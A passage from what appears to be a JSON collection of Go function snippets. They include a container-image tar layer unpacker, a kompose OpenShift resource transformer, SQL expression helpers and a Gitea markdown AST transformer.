{\\n\\t\\t\\t\\t\\treturn errors.Wrap(err, \\\"get xattr\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tdirHdr.Xattrs[xattr] = string(value)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// Ensure that after everything we correctly re-apply the old metadata.\\n\\t\\t// We don't map this header because we're restoring files that already\\n\\t\\t// existed on the filesystem, not from a tar layer.\\n\\t\\tdefer func() {\\n\\t\\t\\t// Only overwrite the error if there wasn't one already.\\n\\t\\t\\tif err := te.restoreMetadata(dir, dirHdr); err != nil {\\n\\t\\t\\t\\tif Err == nil {\\n\\t\\t\\t\\t\\tErr = errors.Wrap(err, \\\"restore parent directory\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}()\\n\\t}\\n\\n\\t// Currently the spec doesn't specify what the hdr.Typeflag of whiteout\\n\\t// files is meant to be. We specifically only produce regular files\\n\\t// ('\\\\x00') but it could be possible that someone produces a different\\n\\t// Typeflag, expecting that the path is the only thing that matters in a\\n\\t// whiteout entry.\\n\\tif strings.HasPrefix(file, whPrefix) {\\n\\t\\tswitch te.whiteoutMode {\\n\\t\\tcase OCIStandardWhiteout:\\n\\t\\t\\treturn te.ociWhiteout(root, dir, file)\\n\\t\\tcase OverlayFSWhiteout:\\n\\t\\t\\treturn te.overlayFSWhiteout(dir, file)\\n\\t\\tdefault:\\n\\t\\t\\treturn errors.Errorf(\\\"unknown whiteout mode %d\\\", te.whiteoutMode)\\n\\t\\t}\\n\\t}\\n\\n\\t// Get information about the path. This has to be done after we've dealt\\n\\t// with whiteouts because it turns out that lstat(2) will return EPERM if\\n\\t// you try to stat a whiteout on AUFS.\\n\\tfi, err := te.fsEval.Lstat(path)\\n\\tif err != nil {\\n\\t\\t// File doesn't exist, just switch fi to the file header.\\n\\t\\tfi = hdr.FileInfo()\\n\\t}\\n\\n\\t// Attempt to create the parent directory of the path we're unpacking.\\n\\t// We do a MkdirAll here because even though you need to have a tar entry\\n\\t// for every component of a new path, applyMetadata will correct any\\n\\t// inconsistencies.\\n\\t// FIXME: We have to make this consistent, since if the tar archive doesn't\\n\\t// have entries for some of these components we won't be able to\\n\\t// verify that we have consistent results during unpacking.\\n\\tif err := te.fsEval.MkdirAll(dir, 0777); err != nil {\\n\\t\\treturn errors.Wrap(err, \\\"mkdir parent\\\")\\n\\t}\\n\\n\\tisDirlink := false\\n\\t// We remove whatever existed at the old path to clobber it so that\\n\\t// creating a new path will not break. The only exception is if the path is\\n\\t// a directory in both the layer and the current filesystem, in which case\\n\\t// we don't delete it for obvious reasons. In all other cases we clobber.\\n\\t//\\n\\t// Note that this will cause hard-links in the \\\"lower\\\" layer to not be able\\n\\t// to point to \\\"upper\\\" layer inodes even if the extracted type is the same\\n\\t// as the old one, however it is not clear whether this is something a user\\n\\t// would expect anyway. In addition, this will incorrectly deal with a\\n\\t// TarLink that is present before the \\\"upper\\\" entry in the layer but the\\n\\t// \\\"lower\\\" file still exists (so the hard-link would point to the old\\n\\t// inode). It's not clear if such an archive is actually valid though.\\n\\tif !fi.IsDir() || hdr.Typeflag != tar.TypeDir {\\n\\t\\t// If we are in --keep-dirlinks mode and the existing fs object is a\\n\\t\\t// symlink to a directory (with the pending object is a directory), we\\n\\t\\t// don't remove the symlink (and instead allow subsequent objects to be\\n\\t\\t// just written through the symlink into the directory). This is a very\\n\\t\\t// specific usecase where layers that were generated independently from\\n\\t\\t// each other (on different base filesystems) end up with weird things\\n\\t\\t// like /lib64 being a symlink only sometimes but you never want to\\n\\t\\t// delete libraries (not just the ones that were under the \\\"real\\\"\\n\\t\\t// directory).\\n\\t\\t//\\n\\t\\t// TODO: This code should also handle a pending symlink entry where the\\n\\t\\t// existing object is a directory. I'm not sure how we could\\n\\t\\t// disambiguate this from a symlink-to-a-file but I imagine that\\n\\t\\t// this is something that would also be useful in the same vein\\n\\t\\t// as --keep-dirlinks (which currently only prevents clobbering\\n\\t\\t// in the opposite case).\\n\\t\\tif te.keepDirlinks &&\\n\\t\\t\\tfi.Mode()&os.ModeSymlink == os.ModeSymlink && hdr.Typeflag == tar.TypeDir {\\n\\t\\t\\tisDirlink, err = te.isDirlink(root, path)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, \\\"check is dirlink\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif !(isDirlink && te.keepDirlinks) {\\n\\t\\t\\tif err := te.fsEval.RemoveAll(path); err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, \\\"clobber old path\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// Now create or otherwise modify the state of the path. Right now, either\\n\\t// the type of path matches hdr or the path doesn't exist. Note that we\\n\\t// don't care about umasks or the initial mode here, since applyMetadata\\n\\t// will fix all of that for us.\\n\\tswitch hdr.Typeflag {\\n\\t// regular file\\n\\tcase tar.TypeReg, tar.TypeRegA:\\n\\t\\t// Create a new file, then just copy the data.\\n\\t\\tfh, err := te.fsEval.Create(path)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"create regular\\\")\\n\\t\\t}\\n\\t\\tdefer fh.Close()\\n\\n\\t\\t// We need to make sure that we copy all of the bytes.\\n\\t\\tn, err := system.Copy(fh, r)\\n\\t\\tif int64(n) != hdr.Size {\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terr = errors.Wrapf(err, \\\"short write\\\")\\n\\t\\t\\t} else {\\n\\t\\t\\t\\terr = io.ErrShortWrite\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"unpack to regular file\\\")\\n\\t\\t}\\n\\n\\t\\t// Force close here so that we don't affect the metadata.\\n\\t\\tif err := fh.Close(); err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"close unpacked regular file\\\")\\n\\t\\t}\\n\\n\\t// directory\\n\\tcase tar.TypeDir:\\n\\t\\tif isDirlink {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\n\\t\\t// Attempt to create the directory. We do a MkdirAll here because even\\n\\t\\t// though you need to have a tar entry for every component of a new\\n\\t\\t// path, applyMetadata will correct any inconsistencies.\\n\\t\\tif err := te.fsEval.MkdirAll(path, 0777); err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"mkdirall\\\")\\n\\t\\t}\\n\\n\\t// hard link, symbolic link\\n\\tcase tar.TypeLink, tar.TypeSymlink:\\n\\t\\tlinkname := hdr.Linkname\\n\\n\\t\\t// Hardlinks and symlinks act differently when it comes to the scoping.\\n\\t\\t// In both cases, we have to just unlink and then re-link the given\\n\\t\\t// path. But the function used and the argument are slightly different.\\n\\t\\tvar linkFn func(string, string) error\\n\\t\\tswitch hdr.Typeflag {\\n\\t\\tcase tar.TypeLink:\\n\\t\\t\\tlinkFn = te.fsEval.Link\\n\\t\\t\\t// Because hardlinks are inode-based we need to scope the link to\\n\\t\\t\\t// the rootfs using SecureJoinVFS. As before, we need to be careful\\n\\t\\t\\t// that we don't resolve the last part of the link path (in case\\n\\t\\t\\t// the user actually wanted to hardlink to a symlink).\\n\\t\\t\\tunsafeLinkDir, linkFile := filepath.Split(CleanPath(linkname))\\n\\t\\t\\tlinkDir, err := securejoin.SecureJoinVFS(root, unsafeLinkDir, te.fsEval)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, \\\"sanitise hardlink target in root\\\")\\n\\t\\t\\t}\\n\\t\\t\\tlinkname = filepath.Join(linkDir, linkFile)\\n\\t\\tcase tar.TypeSymlink:\\n\\t\\t\\tlinkFn = te.fsEval.Symlink\\n\\t\\t}\\n\\n\\t\\t// Link the new one.\\n\\t\\tif err := linkFn(linkname, path); err != nil {\\n\\t\\t\\t// FIXME: Currently this can break if tar hardlink entries occur\\n\\t\\t\\t// before we hit the entry those hardlinks link to. I have a\\n\\t\\t\\t// feeling that such archives are invalid, but the correct\\n\\t\\t\\t// way of handling this is to delay link creation until the\\n\\t\\t\\t// very end. Unfortunately this won't work with symlinks\\n\\t\\t\\t// (which can link to directories).\\n\\t\\t\\treturn errors.Wrap(err, \\\"link\\\")\\n\\t\\t}\\n\\n\\t// character device node, block device node\\n\\tcase tar.TypeChar, tar.TypeBlock:\\n\\t\\t// In rootless mode we have no choice but to fake this, since mknod(2)\\n\\t\\t// doesn't work as an unprivileged user here.\\n\\t\\t//\\n\\t\\t// TODO: We need to add the concept of a fake block device in\\n\\t\\t// \\\"user.rootlesscontainers\\\", because this workaround suffers\\n\\t\\t// from the obvious issue that if the file is touched (even the\\n\\t\\t// metadata) then it will be incorrectly copied into the layer.\\n\\t\\t// This would break distribution images fairly badly.\\n\\t\\tif te.partialRootless {\\n\\t\\t\\tlog.Warnf(\\\"rootless{%s} creating empty file in place of device %d:%d\\\", hdr.Name, hdr.Devmajor, hdr.Devminor)\\n\\t\\t\\tfh, err := te.fsEval.Create(path)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, \\\"create rootless block\\\")\\n\\t\\t\\t}\\n\\t\\t\\tdefer fh.Close()\\n\\t\\t\\tif err := fh.Chmod(0); err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, \\\"chmod 0 rootless block\\\")\\n\\t\\t\\t}\\n\\t\\t\\tgoto out\\n\\t\\t}\\n\\n\\t\\t// Otherwise the handling is the same as a FIFO.\\n\\t\\tfallthrough\\n\\t// fifo node\\n\\tcase tar.TypeFifo:\\n\\t\\t// We have to remove and then create the device. In the FIFO case we\\n\\t\\t// could choose not to do so, but we do it anyway just to be on the\\n\\t\\t// safe side.\\n\\n\\t\\tmode := system.Tarmode(hdr.Typeflag)\\n\\t\\tdev := unix.Mkdev(uint32(hdr.Devmajor), uint32(hdr.Devminor))\\n\\n\\t\\t// Create the node.\\n\\t\\tif err := te.fsEval.Mknod(path, os.FileMode(int64(mode)|hdr.Mode), dev); err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"mknod\\\")\\n\\t\\t}\\n\\n\\t// We should never hit any other headers (Go abstracts them away from us),\\n\\t// and we can't handle any custom Tar extensions. So just error out.\\n\\tdefault:\\n\\t\\treturn fmt.Errorf(\\\"unpack entry: %s: unknown typeflag '\\\\\\\\x%x'\\\", hdr.Name, hdr.Typeflag)\\n\\t}\\n\\nout:\\n\\t// Apply the metadata, which will apply any mappings necessary. We don't\\n\\t// apply metadata for hardlinks, because hardlinks don't have any separate\\n\\t// metadata from their link (and the tar headers might not be filled).\\n\\tif hdr.Typeflag != tar.TypeLink {\\n\\t\\tif err := te.applyMetadata(path, hdr); err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"apply hdr metadata\\\")\\n\\t\\t}\\n\\t}\\n\\n\\t// Everything is done -- the path now exists. Add it (and all its\\n\\t// ancestors) to the set of upper paths. We first have to figure out the\\n\\t// proper path corresponding to hdr.Name though.\\n\\tupperPath, err := filepath.Rel(root, path)\\n\\tif err != nil {\\n\\t\\t// Really shouldn't happen because of the guarantees of SecureJoinVFS.\\n\\t\\treturn errors.Wrap(err, \\\"find relative-to-root [should never happen]\\\")\\n\\t}\\n\\tfor pth := upperPath; pth != filepath.Dir(pth); pth = filepath.Dir(pth) {\\n\\t\\tte.upperPaths[pth] = struct{}{}\\n\\t}\\n\\treturn nil\\n}\",\n \"func Transform() TRANSFORM {\\n\\treturn TRANSFORM{\\n\\t\\ttags: []ONETRANSFORM{},\\n\\t}\\n}\",\n \"func (p *GetField) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\\n\\tn := *p\\n\\treturn f(&n)\\n}\",\n \"func (n *ns1) transformZone(ns1Zone *dns.Zone) zone {\\n\\treturn zone{id: ns1Zone.ID, name: ns1Zone.Zone}\\n}\",\n \"func (s *BaseSyslParserListener) EnterTransform_arg(ctx *Transform_argContext) {}\",\n \"func Transform(t transform.Transformer, filename string) error {\\n\\tf, err := os.Open(filename)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer f.Close()\\n\\n\\tw, err := Writer(filename, 0)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer w.Close()\\n\\n\\tif _, err := io.Copy(w, transform.NewReader(f, t)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn w.Commit()\\n}\",\n \"func (h *Hour) TransformUp(f sql.TransformExprFunc) (sql.Expression, error) {\\n\\tchild, err := h.Child.TransformUp(f)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn f(NewHour(child))\\n}\",\n \"func (o *OpenShift) Transform(komposeObject kobject.KomposeObject, opt kobject.ConvertOptions) ([]runtime.Object, error) {\\n\\tnoSupKeys := o.Kubernetes.CheckUnsupportedKey(&komposeObject, unsupportedKey)\\n\\tfor _, keyName := range noSupKeys {\\n\\t\\tlog.Warningf(\\\"OpenShift provider doesn't support %s key - ignoring\\\", keyName)\\n\\t}\\n\\t// this will hold all the converted data\\n\\tvar allobjects []runtime.Object\\n\\n\\tif komposeObject.Namespace != \\\"\\\" {\\n\\t\\tns := transformer.CreateNamespace(komposeObject.Namespace)\\n\\t\\tallobjects = append(allobjects, ns)\\n\\t}\\n\\n\\tvar err error\\n\\tvar composeFileDir string\\n\\tbuildRepo := opt.BuildRepo\\n\\tbuildBranch := opt.BuildBranch\\n\\n\\tif komposeObject.Secrets != nil {\\n\\t\\tsecrets, err := o.CreateSecrets(komposeObject)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, errors.Wrapf(err, \\\"create secrets error\\\")\\n\\t\\t}\\n\\t\\tfor _, item := range secrets {\\n\\t\\t\\tallobjects = append(allobjects, item)\\n\\t\\t}\\n\\t}\\n\\n\\tsortedKeys := kubernetes.SortedKeys(komposeObject)\\n\\tfor _, name := range sortedKeys {\\n\\t\\tservice := komposeObject.ServiceConfigs[name]\\n\\t\\tvar objects []runtime.Object\\n\\n\\t\\t//replicas\\n\\t\\tvar replica int\\n\\t\\tif opt.IsReplicaSetFlag || service.Replicas == 0 {\\n\\t\\t\\treplica = opt.Replicas\\n\\t\\t} else {\\n\\t\\t\\treplica = service.Replicas\\n\\t\\t}\\n\\n\\t\\t// If Deploy.Mode = Global has been set, make replica = 1 when generating DeploymentConfig\\n\\t\\tif service.DeployMode == \\\"global\\\" {\\n\\t\\t\\treplica = 1\\n\\t\\t}\\n\\n\\t\\t// Must build the images before conversion (got to add service.Image in case 'image' key isn't provided\\n\\t\\t// Check to see if there is an InputFile (required!) before we build the container\\n\\t\\t// Check that there's actually a Build key\\n\\t\\t// Lastly, we must have an Image name to continue\\n\\t\\tif opt.Build == \\\"local\\\" && opt.InputFiles != nil && service.Build != \\\"\\\" {\\n\\t\\t\\t// If there's no \\\"image\\\" key, use the name of the container that's built\\n\\t\\t\\tif service.Image == \\\"\\\" {\\n\\t\\t\\t\\tservice.Image = name\\n\\t\\t\\t}\\n\\n\\t\\t\\tif service.Image == \\\"\\\" {\\n\\t\\t\\t\\treturn nil, fmt.Errorf(\\\"image key required within build parameters in order to build and push service '%s'\\\", name)\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Build the container!\\n\\t\\t\\terr := transformer.BuildDockerImage(service, name)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Fatalf(\\\"Unable to build Docker container for service %v: %v\\\", name, err)\\n\\t\\t\\t}\\n\\n\\t\\t\\t// Push the built container to the repo!\\n\\t\\t\\terr = transformer.PushDockerImageWithOpt(service, name, opt)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Fatalf(\\\"Unable to push Docker image for service %v: %v\\\", name, err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// Generate pod only and nothing more\\n\\t\\tif service.Restart == \\\"no\\\" || service.Restart == \\\"on-failure\\\" {\\n\\t\\t\\t// Error out if Controller Object is specified with restart: 'on-failure'\\n\\t\\t\\tif opt.IsDeploymentConfigFlag {\\n\\t\\t\\t\\treturn nil, errors.New(\\\"Controller object cannot be specified with restart: 'on-failure'\\\")\\n\\t\\t\\t}\\n\\t\\t\\tpod := o.InitPod(name, service)\\n\\t\\t\\tobjects = append(objects, pod)\\n\\t\\t} else {\\n\\t\\t\\tobjects = o.CreateWorkloadAndConfigMapObjects(name, service, opt)\\n\\n\\t\\t\\tif opt.CreateDeploymentConfig {\\n\\t\\t\\t\\tobjects = append(objects, o.initDeploymentConfig(name, service, replica)) // OpenShift DeploymentConfigs\\n\\t\\t\\t\\t// create ImageStream after deployment (creating IS will trigger new deployment)\\n\\t\\t\\t\\tobjects = append(objects, o.initImageStream(name, service, opt))\\n\\t\\t\\t}\\n\\n\\t\\t\\t// buildconfig needs to be added to objects after imagestream because of this Openshift bug: https://github.com/openshift/origin/issues/4518\\n\\t\\t\\t// Generate BuildConfig if the parameter has been passed\\n\\t\\t\\tif service.Build != \\\"\\\" && opt.Build == \\\"build-config\\\" {\\n\\t\\t\\t\\t// Get the compose file directory\\n\\t\\t\\t\\tcomposeFileDir, err = transformer.GetComposeFileDir(opt.InputFiles)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tlog.Warningf(\\\"Error %v in detecting compose file's directory.\\\", err)\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Check for Git\\n\\t\\t\\t\\tif !HasGitBinary() && (buildRepo == \\\"\\\" || buildBranch == \\\"\\\") {\\n\\t\\t\\t\\t\\treturn nil, errors.New(\\\"Git is not installed! Please install Git to create buildconfig, else supply source repository and branch to use for build using '--build-repo', '--build-branch' options respectively\\\")\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Check the Git branch\\n\\t\\t\\t\\tif buildBranch == \\\"\\\" {\\n\\t\\t\\t\\t\\tbuildBranch, err = GetGitCurrentBranch(composeFileDir)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\treturn nil, errors.Wrap(err, \\\"Buildconfig cannot be created because current git branch couldn't be detected.\\\")\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Detect the remote branches\\n\\t\\t\\t\\tif opt.BuildRepo == \\\"\\\" {\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\treturn nil, errors.Wrap(err, \\\"Buildconfig cannot be created because remote for current git branch couldn't be detected.\\\")\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tbuildRepo, err = GetGitCurrentRemoteURL(composeFileDir)\\n\\t\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\t\\treturn nil, errors.Wrap(err, \\\"Buildconfig cannot be created because git remote origin repo couldn't be detected.\\\")\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Initialize and build BuildConfig\\n\\t\\t\\t\\tbc, err := initBuildConfig(name, service, buildRepo, buildBranch)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn nil, errors.Wrap(err, \\\"initBuildConfig failed\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tobjects = append(objects, bc) // Openshift BuildConfigs\\n\\n\\t\\t\\t\\t// Log what we're doing\\n\\t\\t\\t\\tlog.Infof(\\\"Buildconfig using %s::%s as source.\\\", buildRepo, buildBranch)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tif o.PortsExist(service) {\\n\\t\\t\\tif service.ServiceType == \\\"LoadBalancer\\\" {\\n\\t\\t\\t\\tsvcs := o.CreateLBService(name, service)\\n\\t\\t\\t\\tfor _, svc := range svcs {\\n\\t\\t\\t\\t\\tsvc.Spec.ExternalTrafficPolicy = corev1.ServiceExternalTrafficPolicyType(service.ServiceExternalTrafficPolicy)\\n\\t\\t\\t\\t\\tobjects = append(objects, svc)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif len(svcs) > 1 {\\n\\t\\t\\t\\t\\tlog.Warningf(\\\"Create multiple service to avoid using mixed protocol in the same service when it's loadbalancer type\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tsvc := o.CreateService(name, service)\\n\\t\\t\\t\\tobjects = append(objects, svc)\\n\\n\\t\\t\\t\\tif service.ExposeService != \\\"\\\" {\\n\\t\\t\\t\\t\\tobjects = append(objects, o.initRoute(name, service, svc.Spec.Ports[0].Port))\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif service.ServiceExternalTrafficPolicy != \\\"\\\" && svc.Spec.Type != corev1.ServiceTypeNodePort {\\n\\t\\t\\t\\t\\tlog.Warningf(\\\"External Traffic Policy is ignored for the service %v of type %v\\\", name, service.ServiceType)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t} else if service.ServiceType == \\\"Headless\\\" {\\n\\t\\t\\tsvc := o.CreateHeadlessService(name, service)\\n\\t\\t\\tobjects = append(objects, svc)\\n\\t\\t\\tif service.ServiceExternalTrafficPolicy != \\\"\\\" {\\n\\t\\t\\t\\tlog.Warningf(\\\"External Traffic Policy is ignored for the service %v of type Headless\\\", name)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\terr := o.UpdateKubernetesObjects(name, service, opt, &objects)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, errors.Wrap(err, \\\"Error transforming Kubernetes objects\\\")\\n\\t\\t}\\n\\n\\t\\tallobjects = append(allobjects, objects...)\\n\\t}\\n\\n\\t// sort all object so Services are first\\n\\to.SortServicesFirst(&allobjects)\\n\\to.RemoveDupObjects(&allobjects)\\n\\ttransformer.AssignNamespaceToObjects(&allobjects, komposeObject.Namespace)\\n\\t// o.FixWorkloadVersion(&allobjects)\\n\\n\\treturn allobjects, nil\\n}\",\n \"func (op *OpFlatten) Apply(e *entry.Entry) error {\\n\\tparent := op.Field.Parent()\\n\\tval, ok := e.Delete(op.Field)\\n\\tif !ok {\\n\\t\\t// The field doesn't exist, so ignore it\\n\\t\\treturn fmt.Errorf(\\\"apply flatten: field %s does not exist on body\\\", op.Field)\\n\\t}\\n\\n\\tvalMap, ok := val.(map[string]interface{})\\n\\tif !ok {\\n\\t\\t// The field we were asked to flatten was not a map, so put it back\\n\\t\\terr := e.Set(op.Field, val)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"reset non-map field\\\")\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"apply flatten: field %s is not a map\\\", op.Field)\\n\\t}\\n\\n\\tfor k, v := range valMap {\\n\\t\\terr := e.Set(parent.Child(k), v)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (g *ASTTransformer) Transform(node *ast.Document, reader text.Reader, pc parser.Context) {\\n\\tfirstChild := node.FirstChild()\\n\\ttocMode := \\\"\\\"\\n\\tctx := pc.Get(renderContextKey).(*markup.RenderContext)\\n\\trc := pc.Get(renderConfigKey).(*RenderConfig)\\n\\n\\ttocList := make([]markup.Header, 0, 20)\\n\\tif rc.yamlNode != nil {\\n\\t\\tmetaNode := rc.toMetaNode()\\n\\t\\tif metaNode != nil {\\n\\t\\t\\tnode.InsertBefore(node, firstChild, metaNode)\\n\\t\\t}\\n\\t\\ttocMode = rc.TOC\\n\\t}\\n\\n\\tapplyElementDir := func(n ast.Node) {\\n\\t\\tif markup.DefaultProcessorHelper.ElementDir != \\\"\\\" {\\n\\t\\t\\tn.SetAttributeString(\\\"dir\\\", []byte(markup.DefaultProcessorHelper.ElementDir))\\n\\t\\t}\\n\\t}\\n\\n\\tattentionMarkedBlockquotes := make(container.Set[*ast.Blockquote])\\n\\t_ = ast.Walk(node, func(n ast.Node, entering bool) (ast.WalkStatus, error) {\\n\\t\\tif !entering {\\n\\t\\t\\treturn ast.WalkContinue, nil\\n\\t\\t}\\n\\n\\t\\tswitch v := n.(type) {\\n\\t\\tcase *ast.Heading:\\n\\t\\t\\tfor _, attr := range v.Attributes() {\\n\\t\\t\\t\\tif _, ok := attr.Value.([]byte); !ok {\\n\\t\\t\\t\\t\\tv.SetAttribute(attr.Name, []byte(fmt.Sprintf(\\\"%v\\\", attr.Value)))\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\ttxt := n.Text(reader.Source())\\n\\t\\t\\theader := markup.Header{\\n\\t\\t\\t\\tText: util.BytesToReadOnlyString(txt),\\n\\t\\t\\t\\tLevel: v.Level,\\n\\t\\t\\t}\\n\\t\\t\\tif id, found := v.AttributeString(\\\"id\\\"); found {\\n\\t\\t\\t\\theader.ID = util.BytesToReadOnlyString(id.([]byte))\\n\\t\\t\\t}\\n\\t\\t\\ttocList = append(tocList, header)\\n\\t\\t\\tapplyElementDir(v)\\n\\t\\tcase *ast.Paragraph:\\n\\t\\t\\tapplyElementDir(v)\\n\\t\\tcase *ast.Image:\\n\\t\\t\\t// Images need two things:\\n\\t\\t\\t//\\n\\t\\t\\t// 1. Their src needs to munged to be a real value\\n\\t\\t\\t// 2. If they're not wrapped with a link they need a link wrapper\\n\\n\\t\\t\\t// Check if the destination is a real link\\n\\t\\t\\tlink := v.Destination\\n\\t\\t\\tif len(link) > 0 && !markup.IsLink(link) {\\n\\t\\t\\t\\tprefix := pc.Get(urlPrefixKey).(string)\\n\\t\\t\\t\\tif pc.Get(isWikiKey).(bool) {\\n\\t\\t\\t\\t\\tprefix = giteautil.URLJoin(prefix, \\\"wiki\\\", \\\"raw\\\")\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tprefix = strings.Replace(prefix, \\\"/src/\\\", \\\"/media/\\\", 1)\\n\\n\\t\\t\\t\\tlnk := strings.TrimLeft(string(link), \\\"/\\\")\\n\\n\\t\\t\\t\\tlnk = giteautil.URLJoin(prefix, lnk)\\n\\t\\t\\t\\tlink = []byte(lnk)\\n\\t\\t\\t}\\n\\t\\t\\tv.Destination = link\\n\\n\\t\\t\\tparent := n.Parent()\\n\\t\\t\\t// Create a link around image only if parent is not already a link\\n\\t\\t\\tif _, ok := parent.(*ast.Link); !ok && parent != nil {\\n\\t\\t\\t\\tnext := n.NextSibling()\\n\\n\\t\\t\\t\\t// Create a link wrapper\\n\\t\\t\\t\\twrap := ast.NewLink()\\n\\t\\t\\t\\twrap.Destination = link\\n\\t\\t\\t\\twrap.Title = v.Title\\n\\t\\t\\t\\twrap.SetAttributeString(\\\"target\\\", []byte(\\\"_blank\\\"))\\n\\n\\t\\t\\t\\t// Duplicate the current image node\\n\\t\\t\\t\\timage := ast.NewImage(ast.NewLink())\\n\\t\\t\\t\\timage.Destination = link\\n\\t\\t\\t\\timage.Title = v.Title\\n\\t\\t\\t\\tfor _, attr := range v.Attributes() {\\n\\t\\t\\t\\t\\timage.SetAttribute(attr.Name, attr.Value)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tfor child := v.FirstChild(); child != nil; {\\n\\t\\t\\t\\t\\tnext := child.NextSibling()\\n\\t\\t\\t\\t\\timage.AppendChild(image, child)\\n\\t\\t\\t\\t\\tchild = next\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Append our duplicate image to the wrapper link\\n\\t\\t\\t\\twrap.AppendChild(wrap, image)\\n\\n\\t\\t\\t\\t// Wire in the next sibling\\n\\t\\t\\t\\twrap.SetNextSibling(next)\\n\\n\\t\\t\\t\\t// Replace the current node with the wrapper link\\n\\t\\t\\t\\tparent.ReplaceChild(parent, n, wrap)\\n\\n\\t\\t\\t\\t// But most importantly ensure the next sibling is still on the old image too\\n\\t\\t\\t\\tv.SetNextSibling(next)\\n\\t\\t\\t}\\n\\t\\tcase *ast.Link:\\n\\t\\t\\t// Links need their href to munged to be a real value\\n\\t\\t\\tlink := v.Destination\\n\\t\\t\\tif len(link) > 0 && !markup.IsLink(link) &&\\n\\t\\t\\t\\tlink[0] != '#' && !bytes.HasPrefix(link, byteMailto) {\\n\\t\\t\\t\\t// special case: this is not a link, a hash link or a mailto:, so it's a\\n\\t\\t\\t\\t// relative URL\\n\\t\\t\\t\\tlnk := string(link)\\n\\t\\t\\t\\tif pc.Get(isWikiKey).(bool) {\\n\\t\\t\\t\\t\\tlnk = giteautil.URLJoin(\\\"wiki\\\", lnk)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tlink = []byte(giteautil.URLJoin(pc.Get(urlPrefixKey).(string), lnk))\\n\\t\\t\\t}\\n\\t\\t\\tif len(link) > 0 && link[0] == '#' {\\n\\t\\t\\t\\tlink = []byte(\\\"#user-content-\\\" + string(link)[1:])\\n\\t\\t\\t}\\n\\t\\t\\tv.Destination = link\\n\\t\\tcase *ast.List:\\n\\t\\t\\tif v.HasChildren() {\\n\\t\\t\\t\\tchildren := make([]ast.Node, 0, v.ChildCount())\\n\\t\\t\\t\\tchild := v.FirstChild()\\n\\t\\t\\t\\tfor child != nil {\\n\\t\\t\\t\\t\\tchildren = append(children, child)\\n\\t\\t\\t\\t\\tchild = child.NextSibling()\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tv.RemoveChildren(v)\\n\\n\\t\\t\\t\\tfor _, child := range children {\\n\\t\\t\\t\\t\\tlistItem := child.(*ast.ListItem)\\n\\t\\t\\t\\t\\tif !child.HasChildren() || !child.FirstChild().HasChildren() {\\n\\t\\t\\t\\t\\t\\tv.AppendChild(v, child)\\n\\t\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\ttaskCheckBox, ok := child.FirstChild().FirstChild().(*east.TaskCheckBox)\\n\\t\\t\\t\\t\\tif !ok 